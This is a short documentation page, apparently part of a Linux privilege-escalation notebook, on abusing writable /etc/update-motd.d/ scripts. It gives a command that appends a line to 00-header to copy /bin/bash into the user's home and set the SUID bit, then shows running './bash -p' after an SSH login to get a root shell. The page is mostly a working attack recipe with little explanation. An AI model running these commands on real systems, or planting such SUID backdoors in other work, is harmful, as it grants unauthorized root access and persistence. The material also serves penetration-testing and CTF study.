> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/update-motd-privilege-escalation.md).

# Update-Motd Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/update-motd-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```bash
ls -al /etc/update-motd.d/
Copied!
```

If we have permission to modify files in this directory, we can inject arbitrary code and execute when logging in.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/update-motd-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

Run the following code to copy bash binary and give **`suid`** to this file.\
Replace **`<username>`** with your current user name.

```bash
echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
Copied!
```

After that, log out and log in again with SSH. The above script should be executed.\
Now execute the following command under **`/home/<username>`**.

```bash
./bash -p
```